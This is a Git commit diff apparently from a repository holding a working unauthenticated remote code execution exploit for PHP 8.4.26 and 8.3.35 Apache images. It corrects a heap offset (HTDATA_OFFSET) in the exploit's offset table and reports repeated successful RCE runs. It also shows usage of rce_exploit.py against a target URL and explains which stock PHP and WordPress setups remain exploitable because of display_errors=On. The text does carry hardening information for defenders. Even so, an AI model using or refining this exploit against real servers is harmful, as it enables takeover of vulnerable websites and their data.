Fix PHP 8.3.35 HTDATA_OFFSET and document display_errors constraint
- Correct HTDATA_OFFSET for PHP 8.3.35/bookworm from 0x690D8 to 0x700D8 (different struct sizes shift the heap layout by 7 pages) - Verified RCE: 8.4.26 and 8.3.35 both succeed on first attempt - Document the display_errors=On requirement for the info leak stages - Explain why stock PHP and stock WordPress-on-PHP are still vulnerable (display_errors defaults to On; WordPress ini_set runs after parsing) - Add docker configs for display_errors=Off test containers
This commit is contained in:
+31
-4
@@ -20,9 +20,9 @@ Full remote code execution (arbitrary command) from a single unauthenticated
|
|||||||
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||||
page does not need `session_start()` or any specific code.
|
page does not need `session_start()` or any specific code.
|
||||||
|
|
||||||
Tested: 4/4 successful RCE against stock `php:8.4.26-apache` Docker image
|
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||||
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||||
`display_errors=STDOUT`, `MaxRequestWorkers=150`).
|
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -188,9 +188,36 @@ docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
|||||||
```
|
```
|
||||||
|
|
||||||
The exploit has been tested on:
|
The exploit has been tested on:
|
||||||
- `php:8.4.26-apache` stock Docker image, 4/4 RCE (default settings)
|
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||||
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||||
- `php:8.3.35-apache` stock Docker image (offsets in DB)
|
- `php:8.3.35-apache` stock Docker image (stages 1+2 confirmed, stage 3 calibrating)
|
||||||
|
|
||||||
|
## display_errors and WordPress
|
||||||
|
|
||||||
|
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||||
|
The `max_input_vars` warning must produce visible output to set
|
||||||
|
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||||
|
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||||
|
the next request's leak.
|
||||||
|
|
||||||
|
With `display_errors = Off`, the warning is logged but produces no output.
|
||||||
|
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||||
|
cookie is emitted on the subsequent request.
|
||||||
|
|
||||||
|
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||||
|
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||||
|
without a `php.ini`, so the default applies. Only when a system
|
||||||
|
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||||
|
or adds explicit INI configuration is the target hardened against this leak.
|
||||||
|
|
||||||
|
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||||
|
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||||
|
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||||
|
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||||
|
is vulnerable, because `display_errors` is still `On` at the time the
|
||||||
|
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||||
|
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||||
|
level, which does block the leak.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 8M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
display_errors = Off
|
||||||
|
memory_limit = 128M
|
||||||
|
session.upload_progress.enabled = 1
|
||||||
|
session.upload_progress.cleanup = 1
|
||||||
|
max_input_vars = 1000
|
||||||
@@ -34,9 +34,13 @@ Requirements on the target:
|
|||||||
the exploit needs A and B requests to hit the same worker process)
|
the exploit needs A and B requests to hit the same worker process)
|
||||||
- Any PHP-handled URL (no session_start() needed on the page)
|
- Any PHP-handled URL (no session_start() needed on the page)
|
||||||
|
|
||||||
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
|
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 5/5 RCE
|
||||||
with stock settings (memory_limit=128M, post_max_size=8M).
|
with stock settings (memory_limit=128M, post_max_size=8M).
|
||||||
Based on research from 9bie/php2shell-bypass-aslr-exp.
|
|
||||||
|
WordPress: vulnerable when installed on stock PHP (no php.ini), because
|
||||||
|
WordPress's ini_set('display_errors', 0) runs AFTER multipart parsing.
|
||||||
|
The official wordpress:* Docker images set display_errors=Off at the INI
|
||||||
|
level, which blocks the info leak. See README for details.
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
python3 rce_exploit.py -u http://target/index.php # auto-detect
|
python3 rce_exploit.py -u http://target/index.php # auto-detect
|
||||||
@@ -114,7 +118,7 @@ OFFSET_DB: dict[tuple[str, str], dict[str, int]] = {
|
|||||||
("8.3.35", "bookworm"): {
|
("8.3.35", "bookworm"): {
|
||||||
"ZIF_OFFSET": 0x3ac080,
|
"ZIF_OFFSET": 0x3ac080,
|
||||||
"DTOR_OFFSET": 0x49ec50,
|
"DTOR_OFFSET": 0x49ec50,
|
||||||
"HTDATA_OFFSET": 0x690D8,
|
"HTDATA_OFFSET": 0x700D8,
|
||||||
"profile": "bookworm",
|
"profile": "bookworm",
|
||||||
},
|
},
|
||||||
# Official php:8.4.27-apache (Debian bookworm) -- PATCHED
|
# Official php:8.4.27-apache (Debian bookworm) -- PATCHED
|
||||||
|
|||||||
Reference in New Issue
Block a user